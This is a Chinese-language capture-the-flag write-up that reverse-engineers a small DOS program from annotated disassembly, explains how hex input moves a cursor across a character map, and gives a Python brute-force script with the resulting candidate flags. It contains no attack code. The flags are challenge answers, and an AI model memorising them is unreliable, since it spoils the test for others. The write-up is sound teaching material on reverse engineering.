seg001:00E6 jmp short loc_101DD
seg001:00E8 ; ---------------------------------------------------------------------------
seg001:00E8
seg001:00E8 loc_101D8: ; CODE XREF: sub_10148+8C↑j
seg001:00E8 add bx, 12h
seg001:00EB mov si, bx
seg001:00ED
seg001:00ED loc_101DD: ; CODE XREF: sub_10148+8E↑j
seg001:00ED jmp short loc_10186
seg001:00EF ; ---------------------------------------------------------------------------
seg001:00EF
seg001:00EF loc_101DF: ; CODE XREF: sub_10148+32↑j
seg001:00EF mov di, 0
seg001:00F2 cmp si, di
seg001:00F4 jz short loc_1017E
seg001:00F6 mov ax, si
seg001:00F8 mov bl, 12h
seg001:00FA div bl
seg001:00FC cmp ah, 0
seg001:00FF jz short loc_1017E
seg001:0101 mov bx, si
seg001:0103 dec bx
seg001:0104 mov si, bx
seg001:0106 jmp short loc_1017E
seg001:0108 ; ---------------------------------------------------------------------------
seg001:0108
seg001:0108 loc_101F8: ; CODE XREF: sub_10148+34↑j
seg001:0108 mov di, 0
seg001:010B cmp si, di
seg001:010D jz short loc_1020D
seg001:010F mov ax, si
seg001:0111 mov bl, 12h
seg001:0113 div bl
seg001:0115 cmp ah, 10h
seg001:0118 jnz short loc_1020D
seg001:011A jmp loc_1017E
seg001:011D ; ---------------------------------------------------------------------------
seg001:011D
seg001:011D loc_1020D: ; CODE XREF: sub_10148+B5↑j
seg001:011D ; sub_10148+C0↑j
seg001:011D mov bx, si
seg001:011F inc bx
seg001:0120 mov si, bx
seg001:0122 jmp loc_1017E
seg001:0122 sub_10148 endp
看到,si开始指向0x50偏移位置,而后置cx为9,循环9次,每次循环:
通过int 21h 读取两个字符(mov cx,2),其间会有一系列比较读入的字符,很显然保证输入为[0-9A-Fa-f],即16进制字符,看到如果不在范围内即会:
seg001:00C4 mov dx, 0CAh
seg001:00C7 mov ah, 9
seg001:00C9 int 21h
#输出0xCA偏移处字符串:Invalid input, bye bye!
当字符满足时会通过sub或者add获得字符对应的数值,而后:
seg001:007B mul bl
seg001:007D add dl, al
seg001:007F mov bl, 1
seg001:0081 loop loc_10159
bl初始为0x10,这里因为会读取第一个字节mul bl而后置bl为1再读取第二个字节,所以dl中每两个字符其值为:input[0]*0x10+input[1],其实就是将此两位16进制字符转换成数字。而后其根据数字进行操作:
首先:
seg001:0086 mov al, dl
seg001:0088 and al, 1
和:
seg001:008E mov al, dl
seg001:0090 and al, 2
即其会分别判断dl的末2bit值,然后判断si指针是否在界限内:
当si%0x12 >=0 and si%0x12 <=0x10,
末位为0: si减小,末位为1: si增大
否则到达上界不再增加,下界不再减小
当si >=0x11 and si<=0x8F
倒数第二bit为0: si-=0x12,为1: si+=0x12
否则到达上界不再增加,下界不再减小
两个位置判断后将dl右移两位,并且si所在位置自增1:
seg001:0096 push cx
seg001:0097 mov cl, 2
seg001:0099 shr dl, cl
seg001:009B pop cx
seg001:009C mov bl, [si]
seg001:009E inc bl
seg001:00A0 mov [si], bl
seg001:00A2 loop loc_10176
以此每两位字符转换成的数字以此处理4次:2*4=8bit,正好对应两位16进制字符
其实可以看出这是一个18*9的地图(正好对应最后的输出),边界为16*9,以我们的输入作方向进行移动,最后根据每个位置所经过步数对应预先定义的字母表,最终输出。
最后注意起始位置和结束位置:
seg001:0019 call sub_10148
seg001:001C mov di, si
seg001:001E call sub_10215
seg001:0021 mov al, 45h ; 'E'
seg001:0023 mov [di], al
seg001:0025 mov si, 0
seg001:0028 mov al, 53h ; 'S'
seg001:002A mov [si+50h], al
起始位置0x50处为"S",结束位置(sub_10148返回si为最终位置)为"E"
对应flag.txt解即可,不过我以为解是p4{the_hex_string_we_input},但是提交不对,询问主办方,需要hex_string.decode('hex')=p4{[0-9a-z]+}
所以确定了开始"p4{"和结束"}",将得到的map简化并过滤字符求出满足条件的解即可:
# -*- coding: UTF-8 -*-
#get the map
key1=[
0x20, 0x70, 0x34, 0x7B, 0x6B, 0x72, 0x75, 0x6C, 0x65, 0x5F,
0x63, 0x74, 0x66, 0x7D, 0x0A
]
key2=" 4 {4pp p {k4{ E p 44p{ p 4 p S "
key3=""
for i in range(len(key2)):
if i%18==0:
print key3
key3=""
if key2[i]=='E' or key2[i]=='S':
key3+=str(i)+"\t"
else:
key3+=str(key1.index(ord(key2[i])))+"\t"
key4="011111010011001000010110011100110110011010010111001100000111011011010000"
flag=""
for i in range(1,10):
flag+=hex(int(key4[72-i*8:72-i*8+8],2))[2:]
def step(s,x,y,map):
dis=[]
for o in map:
dis.append(o)
l=ord(s)
for i in range(4):
if l&1==0 and x!=0:
x-=1
if l&1==1 and x!=5:
x+=1
if l&2==0 and y!=0:
y-=1
if l&2!=0 and y!=3:
y+=1
if dis[y*6+x]==0:
return False,0,0
else:
dis[y*6+x]-=1
l=l>>2
return True,x,y,dis
#确定开始"p4{"和结束"}"后简化了地图
key=[
0,3,2,1,1,0,
1,4,2,3,0,1,
2,0,3,0,1,0,
0,0,0,0,0,0,
]
positon_x=1
position_y=2
k="0123456789abcdefghijklmnopqrstuvwxyz"
#5位过少,就没写递归循环,直接嵌套即可
for i in k:
if step(i,positon_x,position_y,key)[0]==True:
n,positon_x1,position_y1,ke1=step(i,positon_x,position_y,key)
for j in k:
if step(j,positon_x1,position_y1,ke1)[0]==True:
n,positon_x2,position_y2,ke2=step(j,positon_x1,position_y1,ke1)
for d in k:
if step(d,positon_x2,position_y2,ke2)[0]==True:
n,positon_x3,position_y3,ke3=step(d,positon_x2,position_y2,ke2)
for g in k:
if step(g,positon_x3,position_y3,ke3)[0]==True:
n,positon_x4,position_y4,ke4=step(g,positon_x3,position_y3,ke3)
for p in k:
if step(p,positon_x4,position_y4,ke4)[0]==True:
n,positon_x5,position_y5,ke5=step(p,positon_x4,position_y4,ke4)
if step('}',positon_x5,position_y5,ke5)[0]==True:
print "p4{"+i+j+d+g+p+"}"
#output:
0 0 0 0 0 0 0 0 2 0 3 2 1 1 0 0 0 0
0 0 0 0 0 0 0 1 0 3 4 2 3 0 32 0 0 0
0 0 0 0 0 0 1 0 2 2 1 3 0 1 0 0 0 0
0 0 0 0 0 0 0 2 0 1 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 80 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
p4{4qi2f}
p4{4qib6}
p4{4qibc}
p4{aqi2f}
p4{aqib6}
p4{aqibc}
p4{qi2fa}
p4{qib6a}
p4{qibca}
p4{ti2f1}
p4{tib61}
p4{tibc1}
[Finished in 1.0s]
#题目说明有多解,随意提交其中一个即可
文章首发先知社区:
https://xz.aliyun.com/t/4574